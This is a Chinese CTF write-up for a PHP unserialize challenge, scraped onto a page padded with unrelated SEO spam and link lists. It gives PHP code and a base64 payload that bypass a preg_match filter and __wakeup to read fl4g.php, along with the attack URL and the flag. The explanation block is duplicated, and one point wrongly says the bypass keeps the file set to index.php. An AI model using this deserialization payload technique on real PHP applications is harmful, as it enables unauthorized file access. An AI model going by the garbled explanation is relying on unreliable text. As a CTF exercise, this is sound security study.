当前位置: 首页 > news >正文

农业网站素材广东省住房建设部网站

农业网站素材,广东省住房建设部网站,《高性能网站建设指南》,免费ppt下载1、题目描述 2、 3、分析代码 class Demo { private $file fl4g.php; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php。 $a serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化&a…

1、题目描述

2、

3、分析代码

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

4、根据代码中的提示,我们将fl4g.php进行base64编码后的值传给var,试着访问但是页面没有回显

5、根据题目我们需要进行序列化(代码引用这篇文章:攻防世界之Web_php_unserialize(超详细WP)_php unserialize-CSDN博客)

6、在源代码中我们需要绕过几个函数

<?php
class Demo { private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo ($a);                  
?>

7、运行代码可以看到序列后的结果

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

将a的值进行编码

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 

8、

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

 

9、访问url:61.147.171.105:65034/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

10、

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

http://www.yayakq.cn/news/856713/

相关文章:

  • 专门做钱币的网站网站开发中怎么样对接接口
  • 网络公司网站源码推动高质量发展的意义
  • 做网站5年工资多少室内设计师个人网站
  • 做兼职的网站有哪些工作内容余姚企业网站建设
  • 网站建设设计贵吗设计师联盟网站
  • 网络seo哈尔滨网站seo站长工具
  • h5 php mysql网站开发国内最好的网站服务器
  • 网站建设流程图解wordpress html5 音乐
  • 建德网站建设做网站需要什么手续资料
  • 网站建设制作费用预算表做网站本溪
  • 电子商务网站建设背景像网站的ppt怎么做的
  • 微信小程序做链接网站绵阳网站网站建设
  • 有趣的网站网址之家有没有帮忙做网站的
  • 网站建设公司-信科网络查看wordpress访问记录
  • 武进网站建设哪家好设计公司logo用什么软件
  • 能免费创建网站吗柬埔寨做网站
  • 网站版权信息模板微信开发者工具怎么用
  • 如何做基金公司网站photoshop怎么做网站
  • 网站空间站网页制作教程教程
  • 一个网站的建设需要什么手续费百度指数分析
  • 元芳重庆网站建设上合建设网站企业
  • 蚌埠做网站建设费用app模板制作软件免费下载
  • 网站备案号取消原因上海协策网站
  • 网站建设方案编写人盘锦市建设银行网站
  • 优秀的设计网站有哪些网络营销是什么工作主要干啥
  • 网站设计方案书ppthtml5手机网站源码
  • 哪有那样的网站出售友情链接是什么意思
  • 网站内页收录东莞找工作在什么平台找合适
  • 旅游网站作用公司小网站怎么做
  • 官方门户网站j建设的必要性房天下房官网